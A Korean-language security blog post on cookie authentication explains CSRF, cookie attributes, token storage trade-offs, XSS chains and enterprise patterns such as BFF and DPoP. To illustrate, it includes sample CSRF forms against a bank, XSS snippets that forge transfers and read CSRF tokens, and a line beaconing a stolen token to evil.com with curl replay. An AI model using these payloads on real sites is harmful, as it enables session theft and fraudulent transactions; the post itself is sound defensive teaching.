← 목록으로
쿠키 기반 인증의 보안 지형도 — CSRF, XSS, 그리고 엔터프라이즈의 선택

SPA와 JWT가 대세인 시대에 CSRF(Cross-Site Request Forgery)는 이미 과거의 위협이라고 생각하기 쉽습니다. 브라우저가 SameSite=Lax를 기본값으로 적용하고, 토큰을 Authorization 헤더로 보내면 CSRF는 원천적으로 불가능하니까요.

그런데 OWASP CWE Top 25 2025에서 CSRF(CWE-352)는 3위입니다. 2024년 4위, 그 이전 9위에서 계속 올라가고 있습니다.

한편 토큰 저장 위치를 놓고 "쿠키에 넣으면 DevTools에서 바로 보이는데, 메모리에 넣으면 안 보이잖아. 그러면 메모리가 더 안전한 거 아냐?"라는 의문도 여전히 반복됩니다.

이 글은 CSRF의 공격 원리부터 쿠키 보안 설정, 토큰 저장 위치 논쟁, 그리고 엔터프라이즈가 이 문제를 어떻게 바라보는지까지 한 흐름으로 정리합니다.

CSRF 공격 원리

CSRF는 브라우저가 쿠키를 자동으로 붙여 보내는 동작을 악용합니다.

1. 사용자가 bank.com에 로그인 → 세션 쿠키 발급
2. 사용자가 evil.com 방문
3. evil.com이 bank.com으로 요청 전송
4. 브라우저가 bank.com 쿠키를 자동 첨부
5. bank.com은 정상 요청과 구분 불가 → 실행

공격이 성립하려면 세 가지 조건이 필요합니다. 서버에 상태를 변경하는 action이 있고, 쿠키 기반 세션으로 인증하고, 요청에 예측 불가능한 파라미터가 없어야 합니다.

CSRF는 blind attack입니다. 공격자는 응답을 읽을 수 없고, 요청을 보내는 것만 가능합니다. 이 특성이 중요한데, 나중에 CORS 설정 오류와 결합하면 "읽기"까지 가능해지면서 위험이 급격히 커집니다.

GET 기반 CSRF

가장 단순한 형태입니다.

<!-- 이미지 태그로 위장한 송금 요청 -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />

브라우저가 이미지를 로드하면서 GET 요청을 보내고, 쿠키가 자동으로 붙습니다. 이래서 GET 요청으로 상태를 변경하면 안 됩니다.

POST 기반 CSRF

<form id="csrf-form" action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker" />
  <input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('csrf-form').submit();</script>

숨겨진 폼이 자동으로 제출됩니다. 사용자는 아무것도 클릭하지 않았는데 송금이 실행됩니다.

JSON 기반 CSRF

<form action="https://api.bank.com/transfer" method="POST" enctype="text/plain">
  <input name='{"to":"attacker","amount":10000,"ignore":"' value='"}' />
</form>

enctype="text/plain"을 사용하면 CORS preflight 없이 요청을 보낼 수 있습니다. 서버가 Content-Type을 검증하지 않으면 JSON 요청도 위조할 수 있습니다.

쿠키 보안 설정 전체 그림

쿠키 속성 하나하나가 서로 다른 공격을 방어합니다. 어떤 속성 하나로 모든 공격을 막을 수 없고, 전부 조합해야 합니다.

SameSite — CSRF 방어의 첫 번째 축

SameSite 속성은 브라우저가 cross-site 요청에 쿠키를 붙일지 결정합니다.

속성cross-site POSTcross-site GET(top-level)iframe/fetch/XHR
None전송전송전송
Lax차단전송차단
Strict차단차단차단

Chrome 80(2020년 2월)부터 SameSite를 명시하지 않으면 Lax가 기본값입니다. Edge, Firefox, Safari 모두 같은 방향으로 이동했습니다.

Lax만으로도 POST 기반 CSRF, iframe 기반 CSRF, fetch/XHR 기반 CSRF가 전부 차단됩니다. 그래서 "SameSite=Lax면 CSRF는 끝 아닌가?"라고 생각할 수 있는데, 구멍이 있습니다.

Chrome의 Lax+POST 2분 윈도우. SameSite를 명시하지 않아서 암묵적으로 Lax가 적용된 쿠키는, 설정 후 2분 동안 cross-site top-level POST에도 전송됩니다. 명시적으로 SameSite=Lax를 설정하면 이 윈도우가 없습니다. 이래서 SameSite는 반드시 명시해야 합니다.

GET으로 상태를 변경하는 경우. Lax는 top-level GET 네비게이션에 쿠키를 보냅니다. 서버가 GET 요청으로 상태를 변경하면(예: GET /delete-account?confirm=true) Lax로도 막을 수 없습니다.

서브도메인 공격. SameSite는 "Same-Site"를 eTLD+1로 판단합니다. evil.example.combank.example.com은 Same-Site입니다. 서브도메인 하나가 뚫리면 SameSite는 의미가 없습니다.

OWASP도 SameSite를 "아직 완전히 성숙하지 않았으며, 단독 방어로 권장하지 않는다"고 명시합니다.

왜 Strict가 아닌 Lax인가. Strict가 보안은 가장 강하지만, UX를 파괴합니다. 이메일에서 링크를 클릭하면 로그인이 풀려 있고, 검색 엔진에서 들어와도 로그인이 풀려 있습니다. 실무에서는 이중 쿠키 패턴을 씁니다.

session_read: SameSite=Lax   → 읽기/표시용 (외부 링크로 들어와도 로그인 유지)
session:      SameSite=Strict → 민감한 쓰기 작업용 (CSRF 완전 차단)

HttpOnly — XSS로부터 쿠키 값 보호

document.cookie로 접근을 차단합니다. XSS가 실행되어도 쿠키 값 자체를 탈취하는 건 막습니다. 하지만 XSS로 인증된 API를 호출하는 건 막지 못합니다. 쿠키가 자동으로 붙으니까요. 부분적 방어입니다.

Secure — 전송 구간 보호

HTTPS에서만 쿠키를 전송합니다. HSTS(Strict-Transport-Security)와 함께 설정해야 첫 번째 HTTP 요청에서의 노출도 방지합니다.

Domain — 범위 제어

Domain을 생략하면 Host-Only Cookie가 되어 정확히 해당 호스트에서만 전송됩니다. Domain=bank.com으로 설정하면 모든 서브도메인(*.bank.com)에 전송됩니다. 보안이 가장 약한 서브도메인이 전체 쿠키 보안을 결정하므로, Domain 생략이 더 안전합니다.

__Host- / __Secure- 접두사 — Cookie Tossing 방어

__Host-session=abc; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=3600

__Host- 접두사가 붙으면 브라우저가 강제합니다: Secure 필수, Path=/ 필수, Domain 설정 불가(Host-Only). 서브도메인이나 비보안 채널에서 같은 이름의 쿠키를 덮어쓰는 Cookie Tossing 공격을 원천 차단합니다.

방어 매트릭스

CSRFXSS 쿠키 탈취MITMCookie Tossing
SameSite=Lax부분 방어방어 불가방어 불가방어 불가
SameSite=Strict완전 방어방어 불가방어 불가방어 불가
HttpOnly방어 불가부분 방어방어 불가방어 불가
Secure방어 불가방어 불가완전 방어방어 불가
__Host- 접두사방어 불가방어 불가완전 방어완전 방어

운영 환경 권장 설정

# 세션 쿠키
__Host-session=abc; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=3600

# CSRF 토큰 (JavaScript가 읽어야 하므로 HttpOnly 제외)
__Host-csrf=xyz; Secure; SameSite=Strict; Path=/

# 로그인 표시 (민감하지 않은 데이터)
__Secure-logged_in=true; Secure; SameSite=Lax; Path=/

CSRF 토큰 방어

SameSite만으로 부족한 이유를 봤으니, 토큰 기반 방어를 함께 써야 합니다.

Synchronizer Token Pattern

OWASP의 primary recommendation입니다. 서버가 세션에 묶인 128비트 이상의 랜덤 토큰을 생성하고, 폼의 hidden field로 내려보냅니다. 요청 시 이 토큰이 일치하는지 검증합니다.

CSRF 토큰이 동작하는 이유는 간단합니다. Same-Origin Policy 때문에 공격자가 bank.com의 페이지를 읽을 수 없으므로, hidden field에 있는 토큰 값을 가져올 수 없습니다.

Double Submit Cookie (HMAC 변형)

stateless한 대안입니다. 서버가 CSRF 값을 쿠키와 요청 파라미터 양쪽에 설정하고, 요청 시 두 값이 일치하는지 검증합니다. 공격자는 쿠키 값을 읽을 수 없으므로 파라미터에 넣을 값을 모릅니다. HMAC으로 서명하면 Cookie Tossing 공격도 방어합니다.

Custom Request Header

X-Requested-With 같은 커스텀 헤더를 요구하면, cross-origin 요청에서 CORS preflight가 발생합니다. 서버가 허용하지 않은 origin은 preflight에서 차단됩니다.

Fetch Metadata (Sec-Fetch-*)

브라우저가 자동으로 붙이는 헤더로, 요청의 출처와 맥락을 서버에 알려줍니다. Sec-Fetch-Site: cross-site인 요청을 거부하면 됩니다. Go 1.25는 표준 라이브러리에 CrossOriginProtection을 내장했는데, 이 Fetch Metadata 기반입니다.

프레임워크별 CSRF 지원

프레임워크내장 지원방식
Django기본 활성화CsrfViewMiddleware, 쿠키+hidden field (BREACH 완화용 마스킹)
Spring Security기본 활성화CsrfFilter, Synchronizer Token
Ruby on Rails기본 활성화protect_from_forgery
Express.js없음csurf 2022년 deprecated (Math.random() 사용, Cookie Tossing 취약). 대안: csrf-csrf
Next.js없음Server Actions에서 직접 구현 필요
Go 1.25+표준 라이브러리Fetch Metadata 기반 CrossOriginProtection

Express와 Next.js는 CSRF 보호가 없습니다. 직접 구현해야 합니다.

토큰 저장 위치: 진짜 보안 기준

"쿠키에 넣으면 DevTools에서 바로 보이는데, 메모리에 넣으면 안 보이잖아."

DevTools에서 쿠키가 보이려면 사용자 본인이 자신의 브라우저를 열어야 합니다. 이건 위협 모델에서 "물리적 접근"에 해당합니다. 이 수준의 접근이 가능한 공격자는 메모리의 토큰도 읽을 수 있습니다. Chrome의 V8 힙에서 JavaScript 문자열을 추출하는 메모리 포렌식 기법은 이미 문서화되어 있습니다.

"보이냐 안 보이냐"는 보안 판단 기준이 아닙니다. 진짜 기준은 딱 두 가지입니다.

기준쿠키메모리 (JS 변수)
요청에 자동으로 붙나도메인이 일치하면 자동 전송코드가 명시적으로 헤더에 첨부
JavaScript로 읽히나HttpOnly읽기 불가같은 실행 컨텍스트의 코드가 읽기 가능

이 두 가지 속성이 각각의 취약점을 결정합니다.

자동 전송 → CSRF 위험. 브라우저가 쿠키를 자동으로 붙이기 때문에, 악성 사이트가 요청을 위조할 수 있습니다. 메모리 토큰은 Authorization 헤더에 코드가 직접 첨부하므로 CSRF가 원천적으로 불가능합니다.

JS 접근성 → XSS 토큰 탈취 위험. HttpOnly 쿠키는 JavaScript에서 읽을 수 없습니다. 메모리 토큰은 XSS 스크립트가 직접 읽어서 외부로 유출할 수 있습니다.

쿠키:   CSRF에 약하고, XSS 토큰 탈취에 강하다
메모리: CSRF에 면역이고, XSS 토큰 탈취에 약하다

XSS가 뚫리면: 리모컨을 빌리는 것 vs 열쇠를 복사하는 것

두 방식 모두 XSS가 뚫리면 세션을 "이용"당합니다. 하지만 피해의 성격이 완전히 다릅니다.

HttpOnly 쿠키 — 리모컨을 잠깐 빌려 쓰는 것

// XSS 스크립트가 피해자의 브라우저 안에서 대리 요청
fetch('/api/transfer', {
  method: 'POST',
  body: JSON.stringify({ to: 'attacker', amount: 10000 })
});
// 쿠키가 자동으로 붙으니 요청은 성공
// 하지만 토큰 값 자체는 모름
  • 피해자 브라우저 안에서만 대리 요청 가능
  • 토큰 값을 외부로 가져갈 수 없음
  • 피해자가 탭을 닫으면 공격 종료

메모리 토큰 — 열쇠를 복사해 가는 것

// XSS 스크립트가 토큰 값을 외부로 유출
const stolen = window.__accessToken;
navigator.sendBeacon('https://evil.com/collect', stolen);
# 공격자가 자기 컴퓨터에서 자유롭게 사용
curl -H "Authorization: Bearer stolen_token" https://api.target.com/users
curl -H "Authorization: Bearer stolen_token" https://api.target.com/transfer
# 자동화 스크립트로 대량 요청도 가능
  • 토큰을 외부로 유출 → 공격자의 환경에서 사용
  • 피해자가 브라우저를 꺼도 만료까지 공격 지속
  • 자동화 스크립트로 대량 요청, 데이터 수집 전부 가능

XSS가 뚫렸을 때 HttpOnly 쿠키는 피해가 실시간, 해당 세션 한정이고, 메모리 토큰은 피해가 만료까지 지속, 외부에서 무제한입니다.

XSS vs CSRF: 어느 쪽이 더 위험한가

MITRE/CISA 기준 2024년 가장 위험한 소프트웨어 약점에서 XSS가 1위, CSRF가 3위입니다. 단순한 순위 차이가 아닙니다.

CSRF는 blind attack입니다. 요청만 보낼 수 있고, 응답을 읽을 수 없습니다. 할 수 있는 게 제한적입니다.

XSS는 마스터 키입니다. same-origin에서 실행되니까 토큰 탈취, CSRF 방어 무력화, 키 입력 가로채기, 피싱 폼 삽입, 인증된 API 무제한 호출이 전부 가능합니다. XSS가 뚫리면 CSRF 토큰도 DOM에서 읽어버리기 때문에 CSRF 방어가 통째로 무의미해집니다.

이 논리를 따라가면:

  1. XSS가 CSRF보다 훨씬 위험하다
  2. 메모리 토큰은 XSS에 뚫린다 (토큰 유출 → 외부 사용)
  3. HttpOnly 쿠키는 XSS에도 토큰 값을 못 빼간다 (세션 이용만 가능)
  4. 쿠키의 CSRF 위험은 SameSite=Lax 하나로 대부분 막힌다

→ XSS 피해 관점에서는 HttpOnly 쿠키 + CSRF 방어가 메모리보다 더 안전한 선택입니다.

하이브리드는 만능인가

업계에서 자주 권장되는 하이브리드 패턴은 이렇습니다.

  • Refresh token: HttpOnly, Secure, SameSite=Strict 쿠키에 저장
  • Access token: JavaScript 변수(메모리)에 저장, 수명 5~15분
// 로그인 시: 서버가 refresh token을 HttpOnly 쿠키로 설정
let accessToken = loginResponse.accessToken; // 메모리에만 존재

// API 호출 시: Authorization 헤더로 전송 (CSRF 면역)
fetch('/api/data', {
  headers: { Authorization: `Bearer ${accessToken}` }
});

// 페이지 새로고침 시: refresh 쿠키로 access token 재발급
accessToken = await refreshAccessToken();

하이브리드의 의도는 명확합니다. refresh token은 HttpOnly로 XSS 탈취를 막고, access token은 헤더 전송으로 CSRF를 제거합니다. 각각의 강점을 조합한 것입니다.

하지만 access token이 메모리에 있는 동안은 XSS에 그대로 노출됩니다. 탈취된 access token은 5~15분이지만, 그 시간 동안 공격자가 외부에서 자유롭게 사용할 수 있습니다. 하이브리드의 목적은 "XSS를 막겠다"가 아니라 "XSS가 뚫렸을 때 피해 시간을 제한하겠다"입니다.

HttpOnly 쿠키만하이브리드
XSS 토큰 탈취불가가능 (만료까지 외부 사용)
CSRF방어 필요 (SameSite + CSRF 토큰)면역
구현 복잡도낮음높음

결국 트레이드오프입니다. XSS 피해를 최소화하고 싶으면 HttpOnly 쿠키, CSRF를 구조적으로 제거하고 싶으면 하이브리드. 어느 쪽이든 완벽하지 않습니다.

공격은 혼자 오지 않는다

실제 보안 사고는 단일 취약점이 아니라 여러 취약점의 체인으로 발생합니다.

XSS → CSRF 무력화

Same-origin에서 실행되는 XSS는 CSRF 토큰을 DOM에서 읽을 수 있습니다.

// XSS 스크립트가 same-origin에서 실행되면
const token = document.querySelector('meta[name="csrf-token"]').content;

// 탈취한 토큰으로 CSRF 방어를 우회
fetch('/api/transfer', {
  method: 'POST',
  headers: { 'X-CSRF-Token': token },
  body: JSON.stringify({ to: 'attacker', amount: 10000 }),
});

XSS가 뚫리면 CSRF 토큰, SameSite, Custom Header 등 모든 CSRF 방어가 무의미해집니다.

CORS 설정 오류 → CSRF 업그레이드

CSRF는 원래 blind attack(응답을 읽을 수 없음)입니다. 하지만 CORS가 잘못 설정되어 있으면 응답을 읽을 수 있게 됩니다. "쓰기만 가능한" CSRF가 "읽기+쓰기 가능한" 공격으로 업그레이드됩니다.

위험한 CORS 패턴 5가지:

  1. Origin 헤더를 그대로 반사 (Access-Control-Allow-Origin: <요청 Origin>)
  2. 정규식 화이트리스트 실수 (bank.com.evil.com 매칭)
  3. 모든 서브도메인 신뢰
  4. Access-Control-Allow-Origin: * + Access-Control-Allow-Credentials: true
  5. 내부 네트워크 CORS 허용

실제 사례: Langflow CVE-2025-34291 (CVSS 9.4)

하나의 CVE에서 여러 취약점이 체인으로 연결된 사례입니다.

1. CORS 설정: 모든 origin 허용
2. 쿠키 설정: SameSite=None (cross-site 요청에 쿠키 전송)
3. Refresh 엔드포인트: CSRF 토큰 없음
4. evil.com에서 refresh 엔드포인트 호출 → 쿠키 자동 전송 → 새 access token 발급
5. CORS가 응답 읽기를 허용 → access token 탈취
6. 탈취한 토큰으로 RCE(Remote Code Execution) 실행

CORS 설정 오류 + SameSite=None + CSRF 미적용이 결합되어 완전한 시스템 장악으로 이어졌습니다.

2024-2025 주요 CVE

CVE대상CVSS핵심
CVE-2025-34291Langflow AI9.4CORS + CSRF + RCE 체인
CVE-2025-32642WordPress 플러그인10.0CSRF → Remote Code Inclusion
CVE-2025-53767Azure OpenAI10.0SSRF로 클라우드 인프라 접근
Cisco ExpresswayCisco미인증 원격 CSRF
Qwik < 1.19.0Qwik FrameworkContent-Type 조작으로 CSRF 우회

엔터프라이즈 보안 표준들의 합의

OWASP: "JavaScript가 읽을 수 있는 곳에 토큰을 두지 마라"

"Do not store session identifiers in local storage as the data is always accessible by JavaScript. Cookies can mitigate this risk using the httpOnly flag."
— OWASP HTML5 Security Cheat Sheet

OWASP ASVS v4.0 V3.4.1은 쿠키 기반 세션 토큰에 Secure, HttpOnly, SameSite 속성을 필수로 요구합니다.

NIST SP 800-63B: "안전하지 않은 위치에 놓지 마라"

"Secrets used for session binding SHOULD NOT be placed in insecure locations such as HTML5 Local Storage due to the potential exposure of local storage to cross-site scripting (XSS) attacks."

세션 시크릿은 애플리케이션 재시작 시 지속되어서도 안 됩니다.

IETF OAuth Working Group: "토큰을 브라우저에 보내지 마라"

draft-ietf-oauth-browser-based-apps-26 (2025년 12월)의 권고 우선순위:

  1. 가장 좋은 방법: Token-mediating backend (BFF) — 토큰이 브라우저에 도달하지 않음
  2. 차선: Authorization Code + PKCE, 짧은 수명 토큰 + refresh token rotation
  3. 피해야 함: localStorage나 JavaScript 접근 가능한 영구 저장소에 토큰 저장

이 문서의 가장 냉정한 지적:

"Even if the application finds a storage mechanism that completely isolates stored tokens, an attacker with XSS will still be able to request a new set of tokens."

저장소를 아무리 격리해도, XSS가 뚫리면 공격자가 새 토큰을 직접 발급받을 수 있습니다.

FAPI 2.0: 금융권의 답 — "탈취해도 못 쓰게 만들어라"

Financial-Grade API 2.0은 저장 위치가 아닌 토큰 자체에 답을 찾습니다. Bearer 토큰을 허용하지 않고, 모든 access token에 발신자 제약(sender-constraining)을 겁니다.

FAPI 2.0 필수 요구사항:
- Sender-constrained access tokens (mTLS 또는 DPoP)
- Pushed Authorization Requests (PAR)
- PKCE with S256
- 공개 클라이언트(Public Client) 사용 금지

토큰이 탈취되어도 공격자의 환경에서는 사용할 수 없습니다. 한국, 영국, 호주, 브라질, EU의 오픈뱅킹에서 채택하고 있습니다.

저장 위치 논쟁의 끝: 안 보내는 게 답이다

쿠키든 메모리든, 브라우저에 토큰이 존재하는 한 완벽한 방어는 없습니다. 엔터프라이즈가 도달한 최종 결론은 토큰을 브라우저에 보내지 않는 것입니다.

BFF (Backend-for-Frontend) 패턴

브라우저 ←→ BFF 서버 ←→ API 서버
   │              │
   │ 세션 쿠키     │ access token
   │ (HttpOnly)   │ (서버 메모리/Redis)

BFF 서버가 OAuth 인증을 대행하고, 토큰을 서버 측 세션(Redis 등)에 저장합니다. 브라우저에는 암호화된 HttpOnly 세션 쿠키만 전달됩니다. 토큰이 브라우저에 없으므로 XSS가 뚫려도 탈취할 토큰 자체가 없습니다. 저장 위치 논쟁이 사라집니다.

DPoP (Demonstration of Proof-of-Possession) — RFC 9449

BFF를 쓸 수 없는 환경에서 토큰이 탈취되어도 쓸 수 없게 만드는 메커니즘입니다.

1. 클라이언트가 공개키/비밀키 쌍 생성 (Web Crypto API)
2. 토큰 요청 시 DPoP proof JWT (비밀키로 서명) 첨부
3. 인가 서버가 access token을 클라이언트의 공개키에 바인딩
4. API 호출마다 DPoP proof를 함께 전송
5. 토큰만 탈취해도 비밀키 없이는 사용 불가

Auth0(Early Access), Okta(프로덕션), Kong Gateway Enterprise 3.7+에서 지원합니다. 다만 브라우저 환경에서는 XSS로 Web Crypto API의 키에 접근할 수 있어 완전하지 않습니다. DPoP는 BFF나 네이티브 앱에서 가장 효과적입니다.

DBSC (Device Bound Session Credentials) — 미래

Google이 개발 중인 기술로, TPM(하드웨어 보안 모듈)에 비밀키를 저장하여 세션을 디바이스에 바인딩합니다. 토큰이 탈취되어도 다른 디바이스에서 사용 불가. Chrome 135에서 origin trial 진행 중이며, Windows + TPM 환경에서 동작합니다.

보안 수준별 선택

보안 수준아키텍처토큰 위치적용 분야
최고BFF + FAPI 2.0 + DPoP/mTLS서버만, 브라우저는 암호화된 세션 쿠키금융, 의료, 정부
높음BFF서버, 브라우저는 HttpOnly 세션 쿠키엔터프라이즈 SaaS
중간HttpOnly 쿠키 + CSRF 방어쿠키 (HttpOnly + SameSite)일반 웹 서비스
중간하이브리드refresh: 쿠키, access: 메모리CSRF 제거가 중요한 SPA
피해야 함localStorage/sessionStorage

결론

쿠키 기반 인증을 사용하는 한 CSRF는 현역입니다. SameSite=Lax가 기본값이 되면서 많은 공격 벡터가 차단됐지만, 단독으로는 부족합니다. __Host- 접두사, HttpOnly, Secure, SameSite를 전부 조합하고, CSRF 토큰까지 더한 다층 방어가 필요합니다.

토큰 저장 위치를 선택할 때 "보이느냐 안 보이느냐"는 기준이 아닙니다. 자동으로 전송되느냐(CSRF 위험)와 JavaScript로 읽히느냐(XSS 토큰 유출)가 본질적인 차이입니다. XSS가 뚫렸을 때 HttpOnly 쿠키는 세션을 빌려 쓰이는 것(리모컨)이지만 메모리 토큰은 복사되어 가져가지는 것(열쇠)입니다.

그리고 공격은 혼자 오지 않습니다. XSS는 CSRF 방어를 무력화하고, CORS 설정 오류는 CSRF를 업그레이드하며, Langflow CVE-2025-34291처럼 체인으로 엮이는 게 현실입니다.

엔터프라이즈의 사고방식은 "어디에 저장할까"가 아니라 "뚫렸을 때 피해를 어떻게 제한할까"입니다.

  1. XSS 자체를 막는다 — CSP, Trusted Types, 프레임워크 자동 이스케이핑 (1순위)
  2. 뚫려도 시간을 줄인다 — 짧은 토큰 만료 (2순위)
  3. 탈취해도 못 쓰게 만든다 — DPoP, mTLS (3순위)
  4. 토큰을 브라우저에 안 보낸다 — BFF (최종 답)

저장 위치 논쟁의 끝은 "안 보내는 게 답"입니다.

참고 자료